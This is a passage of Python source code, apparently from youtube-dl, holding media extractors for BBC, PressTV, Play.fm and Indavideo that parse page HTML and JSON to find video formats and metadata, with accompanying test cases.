                (r'<p class="[^"]*medium-description[^"]*">([^<]+)</p>',
                 r'<div[^>]+class="info_+synopsis"[^>]*>([^<]+)</div>'),
                webpage, 'description', default=None)
            if not description:
                description = self._html_search_meta('description', webpage)
        else:
            programme_id, title, description, duration, formats, subtitles = self._download_playlist(group_id)

        self._sort_formats(formats)

        return {
            'id': programme_id,
            'title': title,
            'description': description,
            'thumbnail': self._og_search_thumbnail(webpage, default=None),
            'duration': duration,
            'formats': formats,
            'subtitles': subtitles,
        }


class BBCIE(BBCCoUkIE):
    IE_NAME = 'bbc'
    IE_DESC = 'BBC'
    _VALID_URL = r'https?://(?:www\.)?bbc\.(?:com|co\.uk)/(?:[^/]+/)+(?P<id>[^/#?]+)'

    _MEDIASELECTOR_URLS = [
        # Provides HQ HLS streams but fails with geolocation in some cases when it's
        # even not geo restricted at all
        'http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/iptv-all/vpid/%s',
        # Provides more formats, namely direct mp4 links, but fails on some videos with
        # notukerror for non UK (?) users (e.g.
        # http://www.bbc.com/travel/story/20150625-sri-lankas-spicy-secret)
        'http://open.live.bbc.co.uk/mediaselector/4/mtis/stream/%s',
        # Provides fewer formats, but works everywhere for everybody (hopefully)
        'http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/journalism-pc/vpid/%s',
    ]

    _TESTS = [{
        # article with multiple videos embedded with data-playable containing vpids
        'url': 'http://www.bbc.com/news/world-europe-32668511',
        'info_dict': {
            'id': 'world-europe-32668511',
            'title': 'Russia stages massive WW2 parade despite Western boycott',
            'description': 'md5:00ff61976f6081841f759a08bf78cc9c',
        },
        'playlist_count': 2,
    }, {
        # article with multiple videos embedded with data-playable (more videos)
        'url': 'http://www.bbc.com/news/business-28299555',
        'info_dict': {
            'id': 'business-28299555',
            'title': 'Farnborough Airshow: Video highlights',
            'description': 'BBC reports and video highlights at the Farnborough Airshow.',
        },
        'playlist_count': 9,
        'skip': 'Save time',
    }, {
        # article with multiple videos embedded with `new SMP()`
        # broken
        'url': 'http://www.bbc.co.uk/blogs/adamcurtis/entries/3662a707-0af9-3149-963f-47bea720b460',
        'info_dict': {
            'id': '3662a707-0af9-3149-963f-47bea720b460',
            'title': 'BUGGER',
        },
        'playlist_count': 18,
    }, {
        # single video embedded with data-playable containing vpid
        'url': 'http://www.bbc.com/news/world-europe-32041533',
        'info_dict': {
            'id': 'p02mprgb',
            'ext': 'mp4',
            'title': 'Aerial footage showed the site of the crash in the Alps - courtesy BFM TV',
            'description': 'md5:2868290467291b37feda7863f7a83f54',
            'duration': 47,
            'timestamp': 1427219242,
            'upload_date': '20150324',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        # article with single video embedded with data-playable containing XML playlist
        # with direct video links as progressiveDownloadUrl (for now these are extracted)
        # and playlist with f4m and m3u8 as streamingUrl
        'url': 'http://www.bbc.com/turkce/haberler/2015/06/150615_telabyad_kentin_cogu',
        'info_dict': {
            'id': '150615_telabyad_kentin_cogu',
            'ext': 'mp4',
            'title': "YPG: Tel Abyad'ın tamamı kontrolümüzde",
            'description': 'md5:33a4805a855c9baf7115fcbde57e7025',
            'timestamp': 1434397334,
            'upload_date': '20150615',
        },
        'params': {
            'skip_download': True,
        }
    }, {
        # single video embedded with data-playable containing XML playlists (regional section)
        'url': 'http://www.bbc.com/mundo/video_fotos/2015/06/150619_video_honduras_militares_hospitales_corrupcion_aw',
        'info_dict': {
            'id': '150619_video_honduras_militares_hospitales_corrupcion_aw',
            'ext': 'mp4',
            'title': 'Honduras militariza sus hospitales por nuevo escándalo de corrupción',
            'description': 'md5:1525f17448c4ee262b64b8f0c9ce66c8',
            'timestamp': 1434713142,
            'upload_date': '20150619',
        },
        'params': {
            'skip_download': True,
        }
    }, {
        # single video from video playlist embedded with vxp-playlist-data JSON
        'url': 'http://www.bbc.com/news/video_and_audio/must_see/33376376',
        'info_dict': {
            'id': 'p02w6qjc',
            'ext': 'mp4',
            'title': '''Judge Mindy Glazer: "I'm sorry to see you here... I always wondered what happened to you"''',
            'duration': 56,
            'description': '''Judge Mindy Glazer: "I'm sorry to see you here... I always wondered what happened to you"''',
        },
        'params': {
            'skip_download': True,
        }
    }, {
        # single video story with digitalData
        'url': 'http://www.bbc.com/travel/story/20150625-sri-lankas-spicy-secret',
        'info_dict': {
            'id': 'p02q6gc4',
            'ext': 'flv',
            'title': 'Sri Lanka’s spicy secret',
            'description': 'As a new train line to Jaffna opens up the country’s north, travellers can experience a truly distinct slice of Tamil culture.',
            'timestamp': 1437674293,
            'upload_date': '20150723',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        # single video story without digitalData
        'url': 'http://www.bbc.com/autos/story/20130513-hyundais-rock-star',
        'info_dict': {
            'id': 'p018zqqg',
            'ext': 'mp4',
            'title': 'Hyundai Santa Fe Sport: Rock star',
            'description': 'md5:b042a26142c4154a6e472933cf20793d',
            'timestamp': 1415867444,
            'upload_date': '20141113',
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        # single video embedded with Morph
        'url': 'http://www.bbc.co.uk/sport/live/olympics/36895975',
        'info_dict': {
            'id': 'p041vhd0',
            'ext': 'mp4',
            'title': "Nigeria v Japan - Men's First Round",
            'description': 'Live coverage of the first round from Group B at the Amazonia Arena.',
            'duration': 7980,
            'uploader': 'BBC Sport',
            'uploader_id': 'bbc_sport',
        },
        'params': {
            # m3u8 download
            'skip_download': True,
        },
        'skip': 'Georestricted to UK',
    }, {
        # single video with playlist.sxml URL in playlist param
        'url': 'http://www.bbc.com/sport/0/football/33653409',
        'info_dict': {
            'id': 'p02xycnp',
            'ext': 'mp4',
            'title': 'Transfers: Cristiano Ronaldo to Man Utd, Arsenal to spend?',
            'description': 'BBC Sport\'s David Ornstein has the latest transfer gossip, including rumours of a Manchester United return for Cristiano Ronaldo.',
            'duration': 140,
        },
        'params': {
            # rtmp download
            'skip_download': True,
        }
    }, {
        # article with multiple videos embedded with playlist.sxml in playlist param
        'url': 'http://www.bbc.com/sport/0/football/34475836',
        'info_dict': {
            'id': '34475836',
            'title': 'Jurgen Klopp: Furious football from a witty and winning coach',
            'description': 'Fast-paced football, wit, wisdom and a ready smile - why Liverpool fans should come to love new boss Jurgen Klopp.',
        },
        'playlist_count': 3,
    }, {
        # school report article with single video
        'url': 'http://www.bbc.co.uk/schoolreport/35744779',
        'info_dict': {
            'id': '35744779',
            'title': 'School which breaks down barriers in Jerusalem',
        },
        'playlist_count': 1,
    }, {
        # single video with playlist URL from weather section
        'url': 'http://www.bbc.com/weather/features/33601775',
        'only_matching': True,
    }, {
        # custom redirection to www.bbc.com
        'url': 'http://www.bbc.co.uk/news/science-environment-33661876',
        'only_matching': True,
    }, {
        # single video article embedded with data-media-vpid
        'url': 'http://www.bbc.co.uk/sport/rowing/35908187',
        'only_matching': True,
    }]

    @classmethod
    def suitable(cls, url):
        EXCLUDE_IE = (BBCCoUkIE, BBCCoUkArticleIE, BBCCoUkIPlayerPlaylistIE, BBCCoUkPlaylistIE)
        return (False if any(ie.suitable(url) for ie in EXCLUDE_IE)
                else super(BBCIE, cls).suitable(url))

    def _extract_from_media_meta(self, media_meta, video_id):
        # Direct links to media in media metadata (e.g.
        # http://www.bbc.com/turkce/haberler/2015/06/150615_telabyad_kentin_cogu)
        # TODO: there are also f4m and m3u8 streams incorporated in playlist.sxml
        source_files = media_meta.get('sourceFiles')
        if source_files:
            return [{
                'url': f['url'],
                'format_id': format_id,
                'ext': f.get('encoding'),
                'tbr': float_or_none(f.get('bitrate'), 1000),
                'filesize': int_or_none(f.get('filesize')),
            } for format_id, f in source_files.items() if f.get('url')], []

        programme_id = media_meta.get('externalId')
        if programme_id:
            return self._download_media_selector(programme_id)

        # Process playlist.sxml as legacy playlist
        href = media_meta.get('href')
        if href:
            playlist = self._download_legacy_playlist_url(href)
            _, _, _, _, formats, subtitles = self._extract_from_legacy_playlist(playlist, video_id)
            return formats, subtitles

        return [], []

    def _extract_from_playlist_sxml(self, url, playlist_id, timestamp):
        programme_id, title, description, duration, formats, subtitles = \
            self._process_legacy_playlist_url(url, playlist_id)
        self._sort_formats(formats)
        return {
            'id': programme_id,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
            'subtitles': subtitles,
        }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        json_ld_info = self._search_json_ld(webpage, playlist_id, default={})
        timestamp = json_ld_info.get('timestamp')

        playlist_title = json_ld_info.get('title')
        if not playlist_title:
            playlist_title = self._og_search_title(
                webpage, default=None) or self._html_search_regex(
                r'<title>(.+?)</title>', webpage, 'playlist title', default=None)
            if playlist_title:
                playlist_title = re.sub(r'(.+)\s*-\s*BBC.*?$', r'\1', playlist_title).strip()

        playlist_description = json_ld_info.get(
            'description') or self._og_search_description(webpage, default=None)

        if not timestamp:
            timestamp = parse_iso8601(self._search_regex(
                [r'<meta[^>]+property="article:published_time"[^>]+content="([^"]+)"',
                 r'itemprop="datePublished"[^>]+datetime="([^"]+)"',
                 r'"datePublished":\s*"([^"]+)'],
                webpage, 'date', default=None))

        entries = []

        # article with multiple videos embedded with playlist.sxml (e.g.
        # http://www.bbc.com/sport/0/football/34475836)
        playlists = re.findall(r'<param[^>]+name="playlist"[^>]+value="([^"]+)"', webpage)
        playlists.extend(re.findall(r'data-media-id="([^"]+/playlist\.sxml)"', webpage))
        if playlists:
            entries = [
                self._extract_from_playlist_sxml(playlist_url, playlist_id, timestamp)
                for playlist_url in playlists]

        # news article with multiple videos embedded with data-playable
        data_playables = re.findall(r'data-playable=(["\'])({.+?})\1', webpage)
        if data_playables:
            for _, data_playable_json in data_playables:
                data_playable = self._parse_json(
                    unescapeHTML(data_playable_json), playlist_id, fatal=False)
                if not data_playable:
                    continue
                settings = data_playable.get('settings', {})
                if settings:
                    # data-playable with video vpid in settings.playlistObject.items (e.g.
                    # http://www.bbc.com/news/world-us-canada-34473351)
                    playlist_object = settings.get('playlistObject', {})
                    if playlist_object:
                        items = playlist_object.get('items')
                        if items and isinstance(items, list):
                            title = playlist_object['title']
                            description = playlist_object.get('summary')
                            duration = int_or_none(items[0].get('duration'))
                            programme_id = items[0].get('vpid')
                            formats, subtitles = self._download_media_selector(programme_id)
                            self._sort_formats(formats)
                            entries.append({
                                'id': programme_id,
                                'title': title,
                                'description': description,
                                'timestamp': timestamp,
                                'duration': duration,
                                'formats': formats,
                                'subtitles': subtitles,
                            })
                    else:
                        # data-playable without vpid but with a playlist.sxml URLs
                        # in otherSettings.playlist (e.g.
                        # http://www.bbc.com/turkce/multimedya/2015/10/151010_vid_ankara_patlama_ani)
                        playlist = data_playable.get('otherSettings', {}).get('playlist', {})
                        if playlist:
                            entry = None
                            for key in ('streaming', 'progressiveDownload'):
                                playlist_url = playlist.get('%sUrl' % key)
                                if not playlist_url:
                                    continue
                                try:
                                    info = self._extract_from_playlist_sxml(
                                        playlist_url, playlist_id, timestamp)
                                    if not entry:
                                        entry = info
                                    else:
                                        entry['title'] = info['title']
                                        entry['formats'].extend(info['formats'])
                                except Exception as e:
                                    # Some playlist URL may fail with 500, at the same time
                                    # the other one may work fine (e.g.
                                    # http://www.bbc.com/turkce/haberler/2015/06/150615_telabyad_kentin_cogu)
                                    if isinstance(e.cause, compat_HTTPError) and e.cause.code == 500:
                                        continue
                                    raise
                            if entry:
                                self._sort_formats(entry['formats'])
                                entries.append(entry)

        if entries:
            return self.playlist_result(entries, playlist_id, playlist_title, playlist_description)

        # single video story (e.g. http://www.bbc.com/travel/story/20150625-sri-lankas-spicy-secret)
        programme_id = self._search_regex(
            [r'data-(?:video-player|media)-vpid="(%s)"' % self._ID_REGEX,
             r'<param[^>]+name="externalIdentifier"[^>]+value="(%s)"' % self._ID_REGEX,
             r'videoId\s*:\s*["\'](%s)["\']' % self._ID_REGEX],
            webpage, 'vpid', default=None)

        if programme_id:
            formats, subtitles = self._download_media_selector(programme_id)
            self._sort_formats(formats)
            # digitalData may be missing (e.g. http://www.bbc.com/autos/story/20130513-hyundais-rock-star)
            digital_data = self._parse_json(
                self._search_regex(
                    r'var\s+digitalData\s*=\s*({.+?});?\n', webpage, 'digital data', default='{}'),
                programme_id, fatal=False)
            page_info = digital_data.get('page', {}).get('pageInfo', {})
            title = page_info.get('pageName') or self._og_search_title(webpage)
            description = page_info.get('description') or self._og_search_description(webpage)
            timestamp = parse_iso8601(page_info.get('publicationDate')) or timestamp
            return {
                'id': programme_id,
                'title': title,
                'description': description,
                'timestamp': timestamp,
                'formats': formats,
                'subtitles': subtitles,
            }

        # Morph based embed (e.g. http://www.bbc.co.uk/sport/live/olympics/36895975)
        # There are several setPayload calls may be present but the video
        # seems to be always related to the first one
        morph_payload = self._parse_json(
            self._search_regex(
                r'Morph\.setPayload\([^,]+,\s*({.+?})\);',
                webpage, 'morph payload', default='{}'),
            playlist_id, fatal=False)
        if morph_payload:
            components = try_get(morph_payload, lambda x: x['body']['components'], list) or []
            for component in components:
                if not isinstance(component, dict):
                    continue
                lead_media = try_get(component, lambda x: x['props']['leadMedia'], dict)
                if not lead_media:
                    continue
                identifiers = lead_media.get('identifiers')
                if not identifiers or not isinstance(identifiers, dict):
                    continue
                programme_id = identifiers.get('vpid') or identifiers.get('playablePid')
                if not programme_id:
                    continue
                title = lead_media.get('title') or self._og_search_title(webpage)
                formats, subtitles = self._download_media_selector(programme_id)
                self._sort_formats(formats)
                description = lead_media.get('summary')
                uploader = lead_media.get('masterBrand')
                uploader_id = lead_media.get('mid')
                duration = None
                duration_d = lead_media.get('duration')
                if isinstance(duration_d, dict):
                    duration = parse_duration(dict_get(
                        duration_d, ('rawDuration', 'formattedDuration', 'spokenDuration')))
                return {
                    'id': programme_id,
                    'title': title,
                    'description': description,
                    'duration': duration,
                    'uploader': uploader,
                    'uploader_id': uploader_id,
                    'formats': formats,
                    'subtitles': subtitles,
                }

        def extract_all(pattern):
            return list(filter(None, map(
                lambda s: self._parse_json(s, playlist_id, fatal=False),
                re.findall(pattern, webpage))))

        # Multiple video article (e.g.
        # http://www.bbc.co.uk/blogs/adamcurtis/entries/3662a707-0af9-3149-963f-47bea720b460)
        EMBED_URL = r'https?://(?:www\.)?bbc\.co\.uk/(?:[^/]+/)+%s(?:\b[^"]+)?' % self._ID_REGEX
        entries = []
        for match in extract_all(r'new\s+SMP\(({.+?})\)'):
            embed_url = match.get('playerSettings', {}).get('externalEmbedUrl')
            if embed_url and re.match(EMBED_URL, embed_url):
                entries.append(embed_url)
        entries.extend(re.findall(
            r'setPlaylist\("(%s)"\)' % EMBED_URL, webpage))
        if entries:
            return self.playlist_result(
                [self.url_result(entry_, 'BBCCoUk') for entry_ in entries],
                playlist_id, playlist_title, playlist_description)

        # Multiple video article (e.g. http://www.bbc.com/news/world-europe-32668511)
        medias = extract_all(r"data-media-meta='({[^']+})'")

        if not medias:
            # Single video article (e.g. http://www.bbc.com/news/video_and_audio/international)
            media_asset = self._search_regex(
                r'mediaAssetPage\.init\(\s*({.+?}), "/',
                webpage, 'media asset', default=None)
            if media_asset:
                media_asset_page = self._parse_json(media_asset, playlist_id, fatal=False)
                medias = []
                for video in media_asset_page.get('videos', {}).values():
                    medias.extend(video.values())

        if not medias:
            # Multiple video playlist with single `now playing` entry (e.g.
            # http://www.bbc.com/news/video_and_audio/must_see/33767813)
            vxp_playlist = self._parse_json(
                self._search_regex(
                    r'<script[^>]+class="vxp-playlist-data"[^>]+type="application/json"[^>]*>([^<]+)</script>',
                    webpage, 'playlist data'),
                playlist_id)
            playlist_medias = []
            for item in vxp_playlist:
                media = item.get('media')
                if not media:
                    continue
                playlist_medias.append(media)
                # Download single video if found media with asset id matching the video id from URL
                if item.get('advert', {}).get('assetId') == playlist_id:
                    medias = [media]
                    break
            # Fallback to the whole playlist
            if not medias:
                medias = playlist_medias

        entries = []
        for num, media_meta in enumerate(medias, start=1):
            formats, subtitles = self._extract_from_media_meta(media_meta, playlist_id)
            if not formats:
                continue
            self._sort_formats(formats)

            video_id = media_meta.get('externalId')
            if not video_id:
                video_id = playlist_id if len(medias) == 1 else '%s-%s' % (playlist_id, num)

            title = media_meta.get('caption')
            if not title:
                title = playlist_title if len(medias) == 1 else '%s - Video %s' % (playlist_title, num)

            duration = int_or_none(media_meta.get('durationInSeconds')) or parse_duration(media_meta.get('duration'))

            images = []
            for image in media_meta.get('images', {}).values():
                images.extend(image.values())
            if 'image' in media_meta:
                images.append(media_meta['image'])

            thumbnails = [{
                'url': image.get('href'),
                'width': int_or_none(image.get('width')),
                'height': int_or_none(image.get('height')),
            } for image in images]

            entries.append({
                'id': video_id,
                'title': title,
                'thumbnails': thumbnails,
                'duration': duration,
                'timestamp': timestamp,
                'formats': formats,
                'subtitles': subtitles,
            })

        return self.playlist_result(entries, playlist_id, playlist_title, playlist_description)


class BBCCoUkArticleIE(InfoExtractor):
    _VALID_URL = r'https?://www.bbc.co.uk/programmes/articles/(?P<id>[a-zA-Z0-9]+)'
    IE_NAME = 'bbc.co.uk:article'
    IE_DESC = 'BBC articles'

    _TEST = {
        'url': 'http://www.bbc.co.uk/programmes/articles/3jNQLTMrPlYGTBn0WV6M2MS/not-your-typical-role-model-ada-lovelace-the-19th-century-programmer',
        'info_dict': {
            'id': '3jNQLTMrPlYGTBn0WV6M2MS',
            'title': 'Calculating Ada: The Countess of Computing - Not your typical role model: Ada Lovelace the 19th century programmer - BBC Four',
            'description': 'Hannah Fry reveals some of her surprising discoveries about Ada Lovelace during filming.',
        },
        'playlist_count': 4,
        'add_ie': ['BBCCoUk'],
    }

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        title = self._og_search_title(webpage)
        description = self._og_search_description(webpage).strip()

        entries = [self.url_result(programme_url) for programme_url in re.findall(
            r'<div[^>]+typeof="Clip"[^>]+resource="([^"]+)"', webpage)]

        return self.playlist_result(entries, playlist_id, title, description)


class BBCCoUkPlaylistBaseIE(InfoExtractor):
    def _entries(self, webpage, url, playlist_id):
        single_page = 'page' in compat_urlparse.parse_qs(
            compat_urlparse.urlparse(url).query)
        for page_num in itertools.count(2):
            for video_id in re.findall(
                    self._VIDEO_ID_TEMPLATE % BBCCoUkIE._ID_REGEX, webpage):
                yield self.url_result(
                    self._URL_TEMPLATE % video_id, BBCCoUkIE.ie_key())
            if single_page:
                return
            next_page = self._search_regex(
                r'<li[^>]+class=(["\'])pagination_+next\1[^>]*><a[^>]+href=(["\'])(?P<url>(?:(?!\2).)+)\2',
                webpage, 'next page url', default=None, group='url')
            if not next_page:
                break
            webpage = self._download_webpage(
                compat_urlparse.urljoin(url, next_page), playlist_id,
                'Downloading page %d' % page_num, page_num)

    def _real_extract(self, url):
        playlist_id = self._match_id(url)

        webpage = self._download_webpage(url, playlist_id)

        title, description = self._extract_title_and_description(webpage)

        return self.playlist_result(
            self._entries(webpage, url, playlist_id),
            playlist_id, title, description)


class BBCCoUkIPlayerPlaylistIE(BBCCoUkPlaylistBaseIE):
    IE_NAME = 'bbc.co.uk:iplayer:playlist'
    _VALID_URL = r'https?://(?:www\.)?bbc\.co\.uk/iplayer/(?:episodes|group)/(?P<id>%s)' % BBCCoUkIE._ID_REGEX
    _URL_TEMPLATE = 'http://www.bbc.co.uk/iplayer/episode/%s'
    _VIDEO_ID_TEMPLATE = r'data-ip-id=["\'](%s)'
    _TESTS = [{
        'url': 'http://www.bbc.co.uk/iplayer/episodes/b05rcz9v',
        'info_dict': {
            'id': 'b05rcz9v',
            'title': 'The Disappearance',
            'description': 'French thriller serial about a missing teenager.',
        },
        'playlist_mincount': 6,
        'skip': 'This programme is not currently available on BBC iPlayer',
    }, {
        # Available for over a year unlike 30 days for most other programmes
        'url': 'http://www.bbc.co.uk/iplayer/group/p02tcc32',
        'info_dict': {
            'id': 'p02tcc32',
            'title': 'Bohemian Icons',
            'description': 'md5:683e901041b2fe9ba596f2ab04c4dbe7',
        },
        'playlist_mincount': 10,
    }]

    def _extract_title_and_description(self, webpage):
        title = self._search_regex(r'<h1>([^<]+)</h1>', webpage, 'title', fatal=False)
        description = self._search_regex(
            r'<p[^>]+class=(["\'])subtitle\1[^>]*>(?P<value>[^<]+)</p>',
            webpage, 'description', fatal=False, group='value')
        return title, description


class BBCCoUkPlaylistIE(BBCCoUkPlaylistBaseIE):
    IE_NAME = 'bbc.co.uk:playlist'
    _VALID_URL = r'https?://(?:www\.)?bbc\.co\.uk/programmes/(?P<id>%s)/(?:episodes|broadcasts|clips)' % BBCCoUkIE._ID_REGEX
    _URL_TEMPLATE = 'http://www.bbc.co.uk/programmes/%s'
    _VIDEO_ID_TEMPLATE = r'data-pid=["\'](%s)'
    _TESTS = [{
        'url': 'http://www.bbc.co.uk/programmes/b05rcz9v/clips',
        'info_dict': {
            'id': 'b05rcz9v',
            'title': 'The Disappearance - Clips - BBC Four',
            'description': 'French thriller serial about a missing teenager.',
        },
        'playlist_mincount': 7,
    }, {
        # multipage playlist, explicit page
        'url': 'http://www.bbc.co.uk/programmes/b00mfl7n/clips?page=1',
        'info_dict': {
            'id': 'b00mfl7n',
            'title': 'Frozen Planet - Clips - BBC One',
            'description': 'md5:65dcbf591ae628dafe32aa6c4a4a0d8c',
        },
        'playlist_mincount': 24,
    }, {
        # multipage playlist, all pages
        'url': 'http://www.bbc.co.uk/programmes/b00mfl7n/clips',
        'info_dict': {
            'id': 'b00mfl7n',
            'title': 'Frozen Planet - Clips - BBC One',
            'description': 'md5:65dcbf591ae628dafe32aa6c4a4a0d8c',
        },
        'playlist_mincount': 142,
    }, {
        'url': 'http://www.bbc.co.uk/programmes/b05rcz9v/broadcasts/2016/06',
        'only_matching': True,
    }, {
        'url': 'http://www.bbc.co.uk/programmes/b05rcz9v/clips',
        'only_matching': True,
    }, {
        'url': 'http://www.bbc.co.uk/programmes/b055jkys/episodes/player',
        'only_matching': True,
    }]

    def _extract_title_and_description(self, webpage):
        title = self._og_search_title(webpage, fatal=False)
        description = self._og_search_description(webpage)
        return title, description






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import remove_start


class PressTVIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?presstv\.ir/[^/]+/(?P<y>\d+)/(?P<m>\d+)/(?P<d>\d+)/(?P<id>\d+)/(?P<display_id>[^/]+)?'

    _TEST = {
        'url': 'http://www.presstv.ir/Detail/2016/04/09/459911/Australian-sewerage-treatment-facility-/',
        'md5': '5d7e3195a447cb13e9267e931d8dd5a5',
        'info_dict': {
            'id': '459911',
            'display_id': 'Australian-sewerage-treatment-facility-',
            'ext': 'mp4',
            'title': 'Organic mattresses used to clean waste water',
            'upload_date': '20160409',
            'thumbnail': 're:^https?://.*\.jpg',
            'description': 'md5:20002e654bbafb6908395a5c0cfcd125'
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        display_id = mobj.group('display_id') or video_id

        webpage = self._download_webpage(url, display_id)

        # extract video URL from webpage
        video_url = self._hidden_inputs(webpage)['inpPlayback']

        # build list of available formats
        # specified in http://www.presstv.ir/Scripts/playback.js
        base_url = 'http://192.99.219.222:82/presstv'
        _formats = [
            (180, '_low200.mp4'),
            (360, '_low400.mp4'),
            (720, '_low800.mp4'),
            (1080, '.mp4')
        ]

        formats = [{
            'url': base_url + video_url[:-4] + extension,
            'format_id': '%dp' % height,
            'height': height,
        } for height, extension in _formats]

        # extract video metadata
        title = remove_start(
            self._html_search_meta('title', webpage, fatal=True), 'PressTV-')

        thumbnail = self._og_search_thumbnail(webpage)
        description = self._og_search_description(webpage)

        upload_date = '%04d%02d%02d' % (
            int(mobj.group('y')),
            int(mobj.group('m')),
            int(mobj.group('d')),
        )

        return {
            'id': video_id,
            'display_id': display_id,
            'title': title,
            'formats': formats,
            'thumbnail': thumbnail,
            'upload_date': upload_date,
            'description': description
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_str
from ..utils import (
    ExtractorError,
    int_or_none,
    parse_iso8601,
)


class PlayFMIE(InfoExtractor):
    IE_NAME = 'play.fm'
    _VALID_URL = r'https?://(?:www\.)?play\.fm/(?P<slug>(?:[^/]+/)+(?P<id>[^/]+))/?(?:$|[?#])'

    _TEST = {
        'url': 'https://www.play.fm/dan-drastic/sven-tasnadi-leipzig-electronic-music-batofar-paris-fr-2014-07-12',
        'md5': 'c505f8307825a245d0c7ad1850001f22',
        'info_dict': {
            'id': '71276',
            'ext': 'mp3',
            'title': 'Sven Tasnadi - LEIPZIG ELECTRONIC MUSIC @ Batofar (Paris,FR) - 2014-07-12',
            'description': '',
            'duration': 5627,
            'timestamp': 1406033781,
            'upload_date': '20140722',
            'uploader': 'Dan Drastic',
            'uploader_id': '71170',
            'view_count': int,
            'comment_count': int,
        },
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')
        slug = mobj.group('slug')

        recordings = self._download_json(
            'http://v2api.play.fm/recordings/slug/%s' % slug, video_id)

        error = recordings.get('error')
        if isinstance(error, dict):
            raise ExtractorError(
                '%s returned error: %s' % (self.IE_NAME, error.get('message')),
                expected=True)

        audio_url = recordings['audio']
        video_id = compat_str(recordings.get('id') or video_id)
        title = recordings['title']
        description = recordings.get('description')
        duration = int_or_none(recordings.get('recordingDuration'))
        timestamp = parse_iso8601(recordings.get('created_at'))
        uploader = recordings.get('page', {}).get('title')
        uploader_id = compat_str(recordings.get('page', {}).get('id'))
        view_count = int_or_none(recordings.get('playCount'))
        comment_count = int_or_none(recordings.get('commentCount'))
        categories = [tag['name'] for tag in recordings.get('tags', []) if tag.get('name')]

        return {
            'id': video_id,
            'url': audio_url,
            'title': title,
            'description': description,
            'duration': duration,
            'timestamp': timestamp,
            'uploader': uploader,
            'uploader_id': uploader_id,
            'view_count': view_count,
            'comment_count': comment_count,
            'categories': categories,
        }






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    parse_age_limit,
    parse_iso8601,
)


class IndavideoEmbedIE(InfoExtractor):
    _VALID_URL = r'https?://(?:(?:embed\.)?indavideo\.hu/player/video/|assets\.indavideo\.hu/swf/player\.swf\?.*\b(?:v(?:ID|id))=)(?P<id>[\da-f]+)'
    _TESTS = [{
        'url': 'http://indavideo.hu/player/video/1bdc3c6d80/',
        'md5': 'f79b009c66194acacd40712a6778acfa',
        'info_dict': {
            'id': '1837039',
            'ext': 'mp4',
            'title': 'Cicatánc',
            'description': '',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'cukiajanlo',
            'uploader_id': '83729',
            'timestamp': 1439193826,
            'upload_date': '20150810',
            'duration': 72,
            'age_limit': 0,
            'tags': ['tánc', 'cica', 'cuki', 'cukiajanlo', 'newsroom'],
        },
    }, {
        'url': 'http://embed.indavideo.hu/player/video/1bdc3c6d80?autostart=1&hide=1',
        'only_matching': True,
    }, {
        'url': 'http://assets.indavideo.hu/swf/player.swf?v=fe25e500&vID=1bdc3c6d80&autostart=1&hide=1&i=1',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        video = self._download_json(
            'http://amfphp.indavideo.hu/SYm0json.php/player.playerHandler.getVideoData/%s' % video_id,
            video_id)['data']

        title = video['title']

        video_urls = video.get('video_files', [])
        video_file = video.get('video_file')
        if video:
            video_urls.append(video_file)
        video_urls = list(set(video_urls))

        video_prefix = video_urls[0].rsplit('/', 1)[0]

        for flv_file in video.get('flv_files', []):
            flv_url = '%s/%s' % (video_prefix, flv_file)
            if flv_url not in video_urls:
                video_urls.append(flv_url)

        formats = [{
            'url': video_url,
            'height': int_or_none(self._search_regex(
                r'\.(\d{3,4})\.mp4(?:\?|$)', video_url, 'height', default=None)),
        } for video_url in video_urls]
        self._sort_formats(formats)

        timestamp = video.get('date')
        if timestamp:
            # upload date is in CEST
            timestamp = parse_iso8601(timestamp + ' +0200', ' ')

        thumbnails = [{
            'url': self._proto_relative_url(thumbnail)
        } for thumbnail in video.get('thumbnails', [])]

        tags = [tag['title'] for tag in video.get('tags') or []]

        return {
            'id': video.get('id') or video_id,
            'title': title,
            'description': video.get('description'),
            'thumbnails': thumbnails,
            'uploader': video.get('user_name'),
            'uploader_id': video.get('user_id'),
            'timestamp': timestamp,
            'duration': int_or_none(video.get('length')),
            'age_limit': parse_age_limit(video.get('age_limit')),
            'tags': tags,
            'formats': formats,
        }


class IndavideoIE(InfoExtractor):
    _VALID_URL = r'https?://(?:.+?\.)?indavideo\.hu/video/(?P<id>[^/#?]+)'
    _TESTS = [{
        'url': 'http://indavideo.hu/video/Vicces_cica_1',
        'md5': '8c82244ba85d2a2310275b318eb51eac',
        'info_dict': {
            'id': '1335611',
            'display_id': 'Vicces_cica_1',
            'ext': 'mp4',
            'title': 'Vicces cica',
            'description': 'Játszik a tablettel. :D',
            'thumbnail': 're:^https?://.*\.jpg$',
            'uploader': 'Jet_Pack',
            'uploader_id': '491217',
            'timestamp': 1390821212,
            'upload_date': '20140127',
            'duration': 7,
            'age_limit': 0,
            'tags': ['vicces', 'macska', 'cica', 'ügyes', 'nevetés', 'játszik', 'Cukiság', 'Jet_Pack'],
        },
    }, {
        'url': 'http://index.indavideo.hu/video/2015_0728_beregszasz',
        'only_matching': True,
    }, {
        'url': 'http://auto.indavideo.hu/video/Sajat_utanfutoban_a_kis_tacsko',
        'only_matching': True,
    }, {
        'url': 'http://erotika.indavideo.hu/video/Amator_tini_punci',
        'only_matching': True,
    }, {
        'url': 'http://film.indavideo.hu/video/f_hrom_nagymamm_volt',
        'only_matching': True,
    }, {
